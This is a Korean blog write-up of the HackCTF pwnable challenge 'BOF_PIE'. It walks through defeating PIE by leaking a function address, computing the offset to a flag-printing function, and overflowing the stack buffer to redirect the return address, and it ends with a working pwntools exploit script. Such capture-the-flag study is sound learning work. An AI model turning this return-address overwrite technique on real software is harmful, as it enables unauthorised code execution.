본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) BOF_PIE 풀이

by snwo 2020. 3. 25.

3008 포트로 접속하면 뜬다. 주소를 알려주고 입력을 받는다


[ main ]

 

 

welcome 함수호출 후, Nah 를 출력하고 종료한다.


[ welcome ]

 

 

do you know j0n9hyun ? 을 출력하고, 

welcome 함수의 주소를 출력해주고,

[ebp-0x12] 에 값을 입력받는다.

 


 

NX 와 PIE 가 설정되어있다.

stack 이나 heap 에 쉘코드를 올려 실행할수없고,

절대주소를 사용할 수 없다.


 

flag 를 출력해주는 j0n9hyun 함수이다.

절대주소를 사용할 수 없으니,

welcome 함수와  j0n9hyun 함수의 offset 차이를 구해서, j0n9hyun 함수의 주소를 구한뒤,

BOF 로 ret 주소를  j0n9hyun 함수의 주소로 조작하면 되겠다.


 

두 주소의 차이 = welcome - j0n9hyun = 0x909 - 0x890 = 0x79 이다.

 j0n9hyun 함수의 주소 = welcome 함수의 주소 - 0x79


[ebp-0x12] 에 입력을 받으니, ret 주소까지 거리는

0x12+0x4(ebp) = 0x16 (22d)

 

payload = DUMMY(0x16) + 받아온 welcome주소 - 0x79


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
offset=0x79
r=remote('ctf.j0n9hyun.xyz',3008)
r.recvline()
 
data=r.recvline()
data=data.split(" ")
data=int(data[2].strip(),16)
 
payload='a'*0x16
payload+=p32(data-offset)
 
r.sendline(payload)
r.recvline()    #ha-wi
print(r.recvline())